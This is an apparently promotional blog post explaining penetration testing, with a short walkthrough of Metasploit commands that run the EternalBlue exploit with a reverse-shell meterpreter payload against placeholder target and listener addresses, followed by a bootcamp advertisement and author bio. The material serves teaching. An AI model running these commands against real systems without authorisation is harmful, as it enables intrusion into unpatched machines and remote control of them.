Author: Zeeshan Siddiqui, PhD, FHEA, SMIEEE
What Is Penetration Testing?
Penetration Testing (or “pen testing”) is a simulated cyberattack performed by ethical hackers to test a system’s security. It’s more than just scanning for vulnerabilities, it’s about exploiting them to prove real-world risk, just like a cybercriminal might.
Pen testers help organisations:
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Uncover weaknesses in systems, networks, or applications
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Demonstrate the impact of vulnerabilities
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Provide actionable remediation advice
🛠 Try This at Home: Launch a Test Exploit in Metasploit
Tool Highlight: Metasploit Framework
Metasploit is a powerful penetration testing tool used by ethical hackers to simulate real attacks.
Basic Setup (on Kali Linux or Virtual Machine):
🖥️ First, make sure you have Metasploit installed (Kali Linux comes preinstalled with it).
Step 1: Open the Metasploit console
- msfconsole
Step 2: Search for a test exploit
- search windows/smb/ms17_010_eternalblue
🧪 Note: We are only practicing in a virtual environment (e.g., Metasploitable2 or a sandboxed Windows VM). Never test on live systems without permission.
Step 3: Use an exploit module
- use exploit/windows/smb/ms17_010_eternalblue
Step 4: Set your options
- set RHOSTS <target_IP> set PAYLOAD windows/meterpreter/reverse_tcp set LHOST <your_IP>
Step 5: Run the exploit
- exploit
💡 This demonstrates how attackers take advantage of unpatched systems. Practice responsibly using legal test environments only.
🎓 Why Learn Penetration Testing?
Penetration testing builds real-world cybersecurity skills:
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Understand how attackers operate
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Learn to defend by attacking
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Identify and fix security holes before criminals find them
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Qualify for high-paying roles like Pen Tester, Red Team Analyst, or Security Consultant
🚀 Join Our Penetration Testing Bootcamp
Want to gain hands-on skills using Metasploit, Burp Suite, and Wireshark?
🎯 Our Penetration Testing Foundation Program gives you:
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Guided labs & challenges
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Weekly live support
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Access to real-world tools
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Self-paced video content
📚 Start Learning Today – Build the offensive skills needed to defend the digital world.
About the Author
Dr Zeeshan Siddiqui is an academician and a well-know Cybersecurity researcher. He is a Fellow of the Higher Education Academy. Recognised as an emerging leader in computing by the Royal Society (UK), he also serves as a Cisco-accredited Cybersecurity instructor. His experience includes working as a Cybersecurity Consultant with MIT (US), University of Essex, Liverpool and Roehampton. Working as a Lecturer, Senior Lecturer and Assistant Professor in Computing and Cybersecurity with the Open University, University of the West of Scotland, Modern College of Business and Science (Oman), and King Saud University (Saudi Arabia). Supervising MSc projects at the Universities of Glasgow and Arden, external examining at Kingston University London and Pearson UK, and developing/leading Computer Science and Cybersecurity programs and modules for institutions across the UK, US, and Europe. He holds a PhD in Computer Science and a PGC in Academic Practice (UWS). He has published a number of highly-ranked research articles in Remote User Digital Authentication, IoT Security, Quantum Cryptography and Command & Control Systems. These articles are published in top-ranked Journals and flag ship conference, such as IEEE IoT, JoMS, IEEE Access and IEEE ICEE. He is a senior IEEE member and collaborate with research groups at Coventry University, UTM, and King Saud University.
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